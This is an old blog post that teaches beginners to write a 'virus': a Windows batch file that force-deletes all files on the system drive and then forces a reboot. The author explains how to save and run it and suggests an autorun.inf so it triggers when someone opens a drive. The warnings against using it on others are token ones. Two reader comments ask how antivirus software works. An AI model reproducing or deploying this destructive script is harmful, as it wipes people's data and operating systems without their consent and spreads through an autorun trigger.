Bharat Banate's Work Profile

View Bharat Banate's profile on LinkedIn

Wednesday, September 5, 2007

virus: Writing virus for beginer( part II)

This is a very simple virus program to delete all the content of a drive...

It should not use on others computer..........This is harmful. So Before using this u need to backup ur all information which are saved in ur system drive. After run this program it will delete ur system drive. so it needs reinstall ur operating system.

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

**Save the above code as .bat. u can write the program in a note pad then save as *.bat.and run the program...

caution: it will delete ur systemdrive... so be careful... If Any lose of ur data i am not responsible for that. U should carefully use it...
u may use only this code below...

@echo off
shutdown -r -f -t 00

** The above code will just restart ur pc....try it..
I write this code in a notepad. Then save it in my c drive. after that i run the program. Then it restart my personal computer.

U can improve it by adding a autorun.inf file to run the program when anyone double click his any drive.

Here i am ending this series of writing virus. as its not ethical but we must have knowledge of viruses.

Caution:
It should not use on others computer..........This is harmful. So Before using this u need to backup ur all information which are saved in ur system drive. After run this program it will delete ur system drive. so it needs reinstall ur operating system.

2 comments:

Anonymous said...

Hi nik,
I would like to find some info on how the anti-virus s/w works to hunt for malicious codes.
i.e. on what basis it deecides that yes, this file is infected and that one is not infected.

nik said...

ya prabhas, im writing on this also, please check new posts i guess all wanna know how antivirus works , when they know how virus works!!